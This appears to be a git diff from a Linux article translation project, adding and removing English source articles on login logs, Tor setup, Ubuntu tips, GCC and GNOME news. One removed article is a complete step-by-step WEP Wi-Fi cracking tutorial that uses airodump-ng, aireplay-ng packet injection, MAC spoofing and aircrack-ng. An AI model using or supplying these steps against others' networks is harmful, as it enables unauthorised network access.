runlevel (to lvl 3) 2.6.32-358.23.2 Mon Dec 2 19:20 – 19:29 (00:08)
|
||||
reboot system boot 2.6.32-358.23.2 Mon Dec 2 19:20 – 19:29 (00:08)
|
||||
shutdown system down 2.6.32-358.23.2 Mon Dec 2 18:56 – 19:20 (00:23)
|
||||
runlevel (to lvl 0) 2.6.32-358.23.2 Mon Dec 2 18:56 – 18:56 (00:00)
|
||||
leni tty1 Mon Dec 2 18:42 – down (00:00)
|
||||
|
||||
You can see that there are two entries of run level. Runlevel which has **to lvl 3** entry means the system is running on full console mode. No active X Window or GUI. Meanwhile, when the system is **shutdown**, Linux us **run level 0**. That’s why last show you **to lvl 0** entry
|
||||
|
||||
#### View bad logins ####
|
||||
|
||||
While **last** command logs successful logins, then **lastb** command **record failed login attempts**. You **must have root** access to run lastb command. Here’s a sample output from lastb command. Lastb will parse information from /var/log/btmp.
|
||||
|
||||
# lastb
|
||||
|
||||
leni tty1 Mon Dec 2 22:12 – 22:12 (00:00)
|
||||
rahma tty1 Mon Dec 2 22:11 – 22:11 (00:00)
|
||||
|
||||
#### Rotate the logs ####
|
||||
|
||||
Since **/var/log/wtmp** record every single log in activities, the size of the file may grow quickly. By default, Linux will **rotate /var/log/wtmp** every month. The detail of rotation activity is put in /etc/logrotate.conf file. Here’s the content of my **/etc/logrotate.conf** file.
|
||||
|
||||
/var/log/wtmp {
|
||||
monthly
|
||||
create 0664 root umtp
|
||||
minsize 1M
|
||||
rotate 1
|
||||
}
|
||||
|
||||
And for **/var/log/btmp**, here’s default configuration of rotate activity
|
||||
|
||||
/var/log/btmp {
|
||||
missingok
|
||||
monthly
|
||||
create 0600 root umtp
|
||||
minsize 1M
|
||||
rotate 1
|
||||
}
|
||||
|
||||
### Conclusion ###
|
||||
|
||||
You can combine those parameters to custom the output of last and lastb. All parameter **which run on last** command, **also run on** lastb command. For more detail, please visit last manual page by typing **man last** on your console.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/linux-last-command/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -1,44 +0,0 @@
|
||||
Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking
|
||||
================================================================================
|
||||
> Linux Mint has since responded to the comments by Oliver Grawert. [You can read them here][1].
|
||||
|
||||
**Users of the popular Ubuntu-based operating system Linux Mint should not use it for online banking, a Canonical [engineer has advised][2].**
|
||||
|
||||
Mint’s decision to prevent packages with known security issues from updating – from the kernel and browser to the boot-loader and Xorg display server – leaves its users with a “vulnerable system”, says *Oliver Grawert*.
|
||||
|
||||
> “Instead of just integrating changes properly with the packages in the ubuntu archive they instead suppress doing (security) updates at all for them. i would say forcefully keeping a vulnerable kernel browser or xorg in place instead of allowing the provided security updates to be installer makes it a vulnerable system, (sic)”.
|
||||
>
|
||||
> “I personally wouldn’t do online banking with it.”
|
||||
|
||||
Grawert certainly isn’t alone in considering Mint a sub-par choice for the security conscious. Mozilla contributor and former Ubuntu member Benjamin **Kerensa* feels the same:**
|
||||
|
||||
> “It is unclear why Linux Mint disables all of their security updates. I can say that it took them many months to get a fixed version of Firefox packaged while Ubuntu and Debian had already had security fixes in their package.
|
||||
>
|
||||
> This puts Linux Mint users at risk and is one of the key reasons I never suggest Linux Mint to anyone as an alternative to Ubuntu.”
|
||||
|
||||
Oliver Grawert is no fly-by-night contributor. As one of Canonical’s Ubuntu Engineering bods he’s better placed than most to know what he’s talking about.
|
||||
|
||||
> ‘But are Mint users in actual risk? Yes and no…’
|
||||
|
||||
But are Mint users in actual risk?
|
||||
|
||||
Yes and no. The majority of security “holes” (for want of a better word) of the kind present in the packages that Mint’s developers steadfastly refuse to update are both documented and known, but rarely exploited by those of a nefarious breed. As such the “actual threat” posed to users remains, at least for now, largely a theoretical one.
|
||||
|
||||
That’s to say that there are no known incidents of identify theft or worse resulting from use of Mint (or any other Ubuntu-based distribution with unpatched packages) through any of the exploits referenced by Grawert on the Ubuntu Dev Mailing List.
|
||||
|
||||
But just because no-one has entered through the window left ajar thus far, isn’t to say someone won’t ever do it.
|
||||
|
||||
**After seeing Ubuntu given a long and sustained kicking about its own (largely theoretical) privacy issues, it will be interesting to see if, now the boot is placed firmly on the other foot, the vehement concern for users’ wellbeing will extend to other distributions. **
|
||||
|
||||
Notice: We reached out to Linux Mint for comment & clarification but received no reply.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:这个地址在发布的时候填写成“Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim”这篇文章的发布的地址
|
||||
[2]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html
|
||||
@ -1,29 +0,0 @@
|
||||
Canonical and ASUS Have Formed a Partnership in USA
|
||||
================================================================================
|
||||
**Canonical and ASUS have formed a partnership that would enable the hardware vendor to equip a couple of its laptops with the Ubuntu operating system.**
|
||||
|
||||
ASUS is now providing the X201E and 1015E laptops with Ubuntu preinstalled in an effort to penetrate the education market.
|
||||
|
||||
“As Ubuntu, and all the software bundled on it is free, there’s no licence fees in the purchase price which significantly reduces cost. This is perfect for students and institutions, both of whose finances can be hard pressed.”
|
||||
|
||||
“Productivity applications are taken care of by LibreOffice. Familiar feeling, they offer all the functionality students and staff need and are fully compatible with existing files from the leading proprietary alternative. There are also bundled free applications for email and web browsing,” reads the official [announcement][1] on Ubuntu’s website.
|
||||
|
||||
The two laptops are not exactly powerhouses and are aimed at productivity, and maybe multimedia content. The ASUS 1015E laptop features a Intel Celeron 847 1.1 GHz processor, 2 GB DDR3 Memory, a 320 GB 5400 rpm Hard Drive, and a 10.1-Inch screen.
|
||||
|
||||
The other model, which is currently out of stock, ASUS X201E, is a little bit more powerful, but not by much: Intel Celeron 847 (1.1GHz) Sandy Bridge processor, 4 GB DDR3, 320 GB 5400 rpm Hard Drive, an 11.6-Inch screen, and Intel GMA HD graphics solution.
|
||||
|
||||
“Beyond the basics thousands of other free, open-source applications are available to meet more specific needs from image processing and 3D animation to anti-virus or accounting.”
|
||||
|
||||
“We know that effective personal computing is vital to students and Institutions, so it’s exciting for us to work with our partners to bring these low-cost, high-performance packages into the education sector,” is also stated in the announcement.
|
||||
|
||||
Canonical announcement sends to a couple of Amazon pages, but if you’re interested in these products than you should know that they are available in a number of other stores.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Canonical-and-ASUS-Have-Formed-a-Partnership-in-USA-404483.shtml
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://insights.ubuntu.com/resources/article/asus-and-ubuntu-deliver-affordable-world-class-laptops-to-usa-education/
|
||||
@ -0,0 +1,72 @@
|
||||
Configure Your Browser To Use Tor On Ubuntu/Debian/Linux Mint
|
||||
================================================================================
|
||||
**Tor**, **T**he **O**nion **R**outer, is a network of Virtual Tunnels that allows users to communicate securely and as well as anonymously over Internet. Tor allows organizations and individuals to share information over public networks without compromising their privacy. We can use Tor to keep websites from tracking us and also our family members, or to connect to news sites, instant messaging services, or the websites which are blocked by the Internet providers and Network Administrators.
|
||||
|
||||
Tor was originally designed, implemented, and deployed as a third-generation [onion routing project of the U.S. Naval Research Laboratory][1]. It was originally developed with the U.S. Navy in mind, for the primary purpose of protecting government communications. Today, it is used every day for a wide variety of purposes by normal people, the military, journalists, law enforcement officers, activists, and many others.
|
||||
|
||||
In this quick how-to let us learn how to use Tor with our browsers. The steps provided here were tested on Ubuntu 13.04 Desktop, but it should work on all Debian/Ubuntu and its derivatives.
|
||||
|
||||
### Install Tor & Vidalia On Ubuntu / Debian / Linux Mint ###
|
||||
|
||||
Tor is available in the default repositories of Debian/Ubuntu, but they might be bit outdated. So add Tor repository to your distribution source lists.
|
||||
|
||||
Edit file **/etc/apt/sources.list**,
|
||||
|
||||
$ sudo nano /etc/apt/sources.list
|
||||
|
||||
Add the following lines depending upon your distribution version. As i am testing this on my Ubuntu 13.04 desktop, i added the following lines.
|
||||
|
||||
[...]
|
||||
deb http://deb.torproject.org/torproject.org raring main
|
||||
|
||||
Save and close the file. If you’re using Ubuntu 13.10, then the lines should be,
|
||||
|
||||
deb http://deb.torproject.org/torproject.org saucy main
|
||||
|
||||
For Debian 7 Wheezy,
|
||||
|
||||
deb http://deb.torproject.org/torproject.org wheezy main
|
||||
|
||||
Add the gpg key using following commands:
|
||||
|
||||
$ gpg --keyserver keys.gnupg.net --recv 886DDD89
|
||||
$ gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -
|
||||
|
||||
Update the repository list and install vidalia using commands:
|
||||
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install tor vidalia deb.torproject.org-keyring
|
||||
|
||||
During installation, you’ll be asked which user should be able to control Tor service. Select the user and click Ok.
|
||||
|
||||
|
||||
|
||||
Now Vidalia is installed and running.
|
||||
|
||||
### Configure Firefox Browser ###
|
||||
|
||||
Open your browser. Go to **Edit -> Preferences -> Advanced -> Network ->Settings**. Select manual Proxy Configuration. In the SOCKS Host column, enter **localhost** or **127.0.0.1** and in the port column enter **9050** as shown in the below screenshot.
|
||||
|
||||
|
||||
|
||||
Now point your browser with URL **https://check.torproject.org/**. You will see a green message that indicates: “**Congratulations. This browser is configured to use Tor**”. Red message indicate that Tor is not setup. Refer the following screenshot.
|
||||
|
||||
|
||||
|
||||
The same settings are applicable for all browsers, just open the Browser settings/preferences window, find the Network settings, Enter **127.0.0.1** in proxy server column and **9050** in port box. To disable Tor, Select **Use System Proxy settings** on browser settings.
|
||||
|
||||
**Note**: If you want to use Tor for anonymous web browsing, please read our article about [Tor Browser Bundle][2]. It comes with readily configured Tor and a browser patched for better anonymity. To use SOCKS directly (for instant messaging, Jabber, IRC, etc), you can point your application directly at Tor (localhost port 9050), but see [this FAQ entry][3] for why this may be dangerous.
|
||||
|
||||
That’s it. Good Luck! Stay Safe!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/configure-browser-use-tor-ubuntu-debian-linux-mint/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.onion-router.net/
|
||||
[2]:http://www.unixmen.com/protect-your-online-privacy-with-tor-browser/
|
||||
[3]:https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ#SOCKSAndDNS
|
||||
@ -0,0 +1,41 @@
|
||||
Daily Ubuntu Tips – Take Screenshots Of your Desktop
|
||||
================================================================================
|
||||
Ubuntu, a powerful and modern operating system allows you to perform many tasks. From creating and editing documents using LibreOffice Productivity Suite to enhancing an image with GIMP, Ubuntu is super!
|
||||
|
||||
If you need a super operating system to carry out your tasks, you may want to choose Ubuntu.
|
||||
|
||||
Another thing you can do when using Ubuntu is to take screenshots of your desktop and/or active application windows. There are many third-party tools you can install to perform such tasks, but you don’t have to, because Ubuntu comes with one already installed.
|
||||
|
||||
This program is useful if you want to show someone how do something in Ubuntu. Screenshots are just normal image files that can stored and send via email programs to others.
|
||||
|
||||
To use the screenshots program, go to Dash or press the Windows key on your keyboard to bring up Dash. The Windows key is the key left of the spacebar with Windows logo.
|
||||
|
||||
When Dash opens, search for Screenshot, select Screenshot to open it.
|
||||
|
||||
Here are some of the screen you can capture:
|
||||
|
||||
- You can grab the whole screen
|
||||
- You can grab the current program windows
|
||||
- You can select a particular area and grab it
|
||||
|
||||
If you wan to include the mouse pointer, check the box next to it and enable it.
|
||||
|
||||
|
||||
|
||||
When you want to capture a screen, click ‘**Take Screenshot**’. The program will disappear and automatically take a screenshot.
|
||||
|
||||
If you want to capture a particular area, choose that option and when you click ‘**Take Screenshot**’, the mouse pointer will change into a crosshair. You can then be drag the curser to desired size. When you stop, the image is captured automatically.
|
||||
|
||||
This is how you do it when you’re using Ubuntu
|
||||
|
||||
Hope this helps and please come back again.
|
||||
|
||||
Enjoy!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-take-screenshots-of-your-desktop/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -1,33 +0,0 @@
|
||||
Daily Ubuntu Tips–Change The Language You Use In Ubuntu
|
||||
================================================================================
|
||||
Ubuntu, a modern and powerful operating system also allows you to use your desktop in dozens of other languages. By default, there are few language packs installed when you first setup Ubuntu. If you want Ubuntu to support more languages, you must install additional language packs. Not all languages are support, but most languages that are in used and written are supported. This brief tutorial is going to show you how to make this happen.
|
||||
|
||||
After installing a language pack, you can also rename standard folders like music, pictures and documents according to your language. You must log off and log back in for the changes to apply. When you log back in, you’ll prompted and asked if you want to rename these standard folders to match the names for your selected language.
|
||||
|
||||
To change which language you use in Ubuntu, click the top right **gear** of the menu bar and select **System Settings**. When the System Settings opens, select **Language Support**.
|
||||
|
||||
If prompted to install additional language support, do it. If not, click Install / Remove to install new language packs, then select the language you which to install and install it. Finally, drag the language at the top of the list and save. This change will only apply to your profile. If you which to apply the language settings system-wide, click **Apply System-Wide**.
|
||||
|
||||
|
||||
|
||||
Drag the new language at the top of the list. When done, click Close.
|
||||
|
||||
|
||||
|
||||
Close out and log out. Then log back in and enjoy!
|
||||
|
||||
Again, changing the language pack will only apply to your profile. If you want it globally, you must click Apply System-Wide.
|
||||
|
||||
|
||||
|
||||
If you choose to rename standard folders to your native language, you’ll see folders name changed after you sign on.
|
||||
|
||||
Enjoy!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/10/daily-ubuntu-tipschange-the-language-you-use-in-ubuntu/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -1,23 +0,0 @@
|
||||
Vic020走起
|
||||
GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode
|
||||
================================================================================
|
||||
[GCC 4.9][1] with [its many new features][2] is aiming for a release in the first half of 2014. As of this morning the GCC code-base will not accept new features as it's under a big-fixing-only flag.
|
||||
|
||||
Richard Biener announced this morning that trunk is now in stage three, so that after eight months of allowing features into GCC for the 4.9 release, nothing new will be permitted unless an exception is granted by the release managers. Stage 3 allows for general bug-fixing work to be completed while in about two months it will go into the Stage 4 mode of only allowing documentation and regression fixes.
|
||||
|
||||
At the moment there are 63 P1 regressions (the most severe regression) for GCC 4.9 followed by 136 P2 regressions, 14 P3 regressions, 88 P4 regressions, and 60 P5 regressions. Not until the 63 regressions of the P1 state have been zeroed out will GCC 4.9 move closer to being released. The GCC 4.9.0 release will likely come some time around Q2'2014.
|
||||
|
||||
This morning's GCC 4.9.0 status report can be found on the [GCC mailing list][3]. GCC 4.9 will be a very nice compiler update and competition to next month's release of [LLVM 3.4][4].
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9
|
||||
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ
|
||||
[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html
|
||||
[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4
|
||||
42
sources/GNOME’s File Manager Will Be More User Friendly.md
Normal file
42
sources/GNOME’s File Manager Will Be More User Friendly.md
Normal file
@ -0,0 +1,42 @@
|
||||
GNOME’s File Manager Will Be More User Friendly
|
||||
================================================================================
|
||||
**Allan Day, a GNOME designer, posted a few days ago on his blog a very long article about [what’s coming next in the Nautilus (now known as Files) file manager for the GNOME desktop environment][1].**
|
||||
|
||||
What you will read in this article is a short summary of the new design features that will be implemented in upcoming releases of Nautilus, which will be part of the GNOME 3.12 desktop environment.
|
||||
|
||||
Apparently, a team of GNOME developers decided to revamp the default file manager of the controversial desktop environment, and bring some of its background functionality to the spotlight, making them obvious to new users.
|
||||
|
||||
Believe it or not, there are a lot of new users, those who are trying to discover the wonders of the Linux world, that have no idea what to do in Nautilus, how to copy, paste, rename, move or even access their files… and this is a big and embarrassing problem that needs to be fixed!
|
||||
|
||||
Therefore, future versions of the Nautilus file manager will have improved, responsive grids and lists views with big and clear thumbnails, as well as helpful zoom levels, so you can easily recognize your files. An updated View menu, with nicer controls, will also be implemented.
|
||||
|
||||
|
||||
*Nautilus list view*
|
||||
|
||||
|
||||
*Nautilus grid view*
|
||||
|
||||
|
||||
Nautilus gear menu
|
||||
|
||||
Another important feature that will be implemented in Nautilus (Files) will be all kind of helpful buttons, such as Copy To, Move To, Create New Folder, or Open With, so it can make file operations more user friendly. Also, previewing files will be more straightforward, including a highly anticipated navigation function, so you can easily browse through multiple photos or documents
|
||||
|
||||
Moreover, the sidebar will be more customizable, allowing users to add or remove network drives, partitions or remote connections from it, making it as uncluttered as possible. A “Starred” entry will also be available for all your favorite files, along with an improved content selection function, allowing users to select items from multiple sources.
|
||||
|
||||
|
||||
*Nautilus add drive dialog*
|
||||
|
||||
|
||||
*Nautilus content selection*
|
||||
|
||||
Unfortunately, there’s no way for us to compile and test the upcoming Nautilus file manager at this moment, but we will let you know when the first development version is out. We remind everyone that Nautilus is also the default file manager for the Ubuntu Linux operating system.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/GNOME-s-File-Manager-Will-Be-More-User-Friendly-409360.shtml
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://afaikblog.wordpress.com/2013/12/11/nautilus-next/
|
||||
@ -1,3 +1,4 @@
|
||||
[Translating by SteveArcher]
|
||||
Gnu: toward the post-scarcity world – the Free Software Column
|
||||
================================================================================
|
||||
**It is 30 years since Richard Stallman announced that he was going to write a complete UNIX-compatible software system called GNU, pioneering the idea of free and open source software, but the struggle continues **
|
||||
@ -36,4 +37,4 @@ via: http://www.linuxuser.co.uk/features/gnu-toward-the-post-scarcity-world-the-
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
@ -1,126 +0,0 @@
|
||||
[翻译中]by stduolc
|
||||
How to Crack a Wi-Fi Network's WEP Password with BackTrack
|
||||
================================================================================
|
||||
|
||||
|
||||
You already know that if you want to lock down your Wi-Fi network, you should [opt for WPA encryption][1] because WEP is easy to crack. But did you know how easy? Take a look.
|
||||
|
||||
*Note: This post demonstrates how to crack WEP passwords, an older and less often used network security protocol. If the network you want to crack is using the more popular WPA encryption, see our [guide to cracking a Wi-Fi network's WPA password with Reaver][2] instead.*
|
||||
|
||||
Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing [how to pick a lock][3] doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise.
|
||||
|
||||
Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes.
|
||||
|
||||
### What You'll Need ###
|
||||
|
||||
|
||||
|
||||
Unless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need:
|
||||
|
||||
- **A compatible wireless adapter**—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. After consulting with my friendly neighborhood security expert, I purchased an Alfa AWUS050NH USB adapter, pictured here, and it set me back about $50 on Amazon. Update: Don't do what I did. Get the [Alfa AWUS036H][4], not the US050NH, instead. [The guy in this video][5] below is using a $12 model he bought on Ebay (and is even [selling his router of choice)][6]. There are [plenty of resources on getting aircrack-compatible adapters out there][7].
|
||||
|
||||
- **[A BackTrack Live CD][8]**. We already took you on a [full screenshot tour of how to install and use BackTrack 3][9], the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started.
|
||||
|
||||
- **A nearby WEP-enabled Wi-Fi network**. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success.
|
||||
|
||||
- **Patience with the command line**. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.
|
||||
|
||||
### Crack That WEP ###
|
||||
|
||||
To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.
|
||||
|
||||
First run the following to get a list of your network interfaces:
|
||||
|
||||
airmon-ng
|
||||
|
||||
The only one I've got there is labeled ra0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).
|
||||
|
||||
Now, run the following four commands. See the output that I got for them in the screenshot below.
|
||||
|
||||
airmon-ng stop (interface)
|
||||
ifconfig (interface) down
|
||||
macchanger —mac 00:11:22:33:44:55 (interface)
|
||||
airmon-ng start (interface)
|
||||
|
||||
|
||||
|
||||
If you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55.
|
||||
|
||||
Now it's time to pick your network. Run:
|
||||
|
||||
airodump-ng (interface)
|
||||
|
||||
To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else.
|
||||
|
||||
|
||||
|
||||
Like I said, hit Ctrl+C to stop this listing. (I had to do this once or twice to find the network I was looking for.) Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands.
|
||||
|
||||
Now we're going to watch what's going on with that network you chose and capture that information to a file. Run:
|
||||
|
||||
airodump-ng -c (channel) -w (file name) —bssid (bssid) (interface)
|
||||
|
||||
Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking.
|
||||
|
||||
|
||||
|
||||
You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command:
|
||||
|
||||
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
|
||||
|
||||
Here the ESSID is the access point's SSID name, which in my case is yoyo. What you want to get after this command is the reassuring "Association successful" message with that smiley face.
|
||||
|
||||
|
||||
|
||||
You're almost there. Now it's time for:
|
||||
|
||||
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
|
||||
|
||||
Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. (Also, I was unable to surf the web with the yoyo network on a separate computer while this was going on.) Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000. (Pictured below it's only at 854.)
|
||||
|
||||
Depending on the power of your network (mine is inexplicably low at -32 in that screenshot, even though the yoyo AP was in the same room as my adapter), this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many.
|
||||
|
||||
|
||||
|
||||
Once you've collected enough data, it's the moment of truth. Launch a third Konsole window and run the following to crack that data you've collected:
|
||||
|
||||
aircrack-ng -b (bssid) (file name-01.cap)
|
||||
|
||||
Here the filename should be whatever you entered above for (file name). You can browse to your Home directory to see it; it's the one with .cap as the extension.
|
||||
|
||||
If you didn't get enough data, aircrack will fail and tell you to try again with more. If it succeeds, it will look like this:
|
||||
|
||||
|
||||
|
||||
The WEP key appears next to "KEY FOUND." Drop the colons and enter it to log onto the network.
|
||||
|
||||
### Problems Along the Way ###
|
||||
|
||||
With this article I set out to prove that cracking WEP is a relatively "easy" process for someone determined and willing to get the hardware and software going. I still think that's true, but unlike the guy in the video below, I had several difficulties along the way. In fact, you'll notice that the last screenshot up there doesn't look like the others—it's because it's not mine. Even though the AP which I was cracking was my own and in the same room as my Alfa, the power reading on the signal was always around -30, and so the data collection was very slow, and BackTrack would consistently crash before it was complete. After about half a dozen attempts (and trying BackTrack on both my Mac and PC, as a live CD and a virtual machine), I still haven't captured enough data for aircrack to decrypt the key.
|
||||
|
||||
So while this process is easy in theory, your mileage may vary depending on your hardware, proximity to the AP point, and the way the planets are aligned. Oh yeah, and if you're on deadline—Murphy's Law almost guarantees it won't work if you're on deadline.
|
||||
|
||||
To see the video version of these exact instructions, check out this dude's YouTube video.
|
||||
|
||||
[http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][10]
|
||||
|
||||
Got any experience with the WEP cracking courtesy of BackTrack? What do you have to say about it? Give it up in the comments.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://lifehacker.com/386675/secure-your-home-wi+fi-network
|
||||
[2]:http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver
|
||||
[3]:http://lifehacker.com/399735/how-to-pick-a-lock-with-a-bump-key
|
||||
[4]:http://www.amazon.com/Alfa-AWUS036H-802-11b-Wireless-network/dp/B002WCEWU8?tag=lifehackeramzn-20&ascsubtag=[referrer|lifehacker.com[type|link[postId|5305094[asin|B002WCEWU8[authorId|5774310829120954491
|
||||
[5]:http://www.youtube.com/watch?v=oHq-cKoYcr8
|
||||
[6]:http://www.youtube.com/watch?v=bFlOHMj7Qoc
|
||||
[7]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.aircrack-ng.org%2Fdoku.php%3Fid%3Dcompatible_cards&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[9]:http://lifehacker.com/5166530/backtrack-is-a-security+focused-live-cd-packed-with-system-tools
|
||||
[10]:http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1
|
||||
@ -0,0 +1,273 @@
|
||||
How to Install and Configure UFW – An Un-complicated FireWall in Debian/Ubuntu
|
||||
================================================================================
|
||||
Since computers are connected to each other, services are growing fast. **Email, Social Media, Online Shop, Chat** until **Web Conferencing** are services that used by user. But on the other side this connectivity just likes a double-side knife. It’s also possible to send bad messages to those computers like **Virus, malware, trojan-apps** are one of them.
|
||||
|
||||
|
||||
|
||||
*Install UFW Firewall*
|
||||
|
||||
The Internet, as the biggest computer network is not always fill with good people. In order to make sure our computers / servers are safe, we need to protect it.
|
||||
|
||||
One of the must have component on your computer / servers is **Firewall**. From **Wikipedia**, a definition is:
|
||||
|
||||
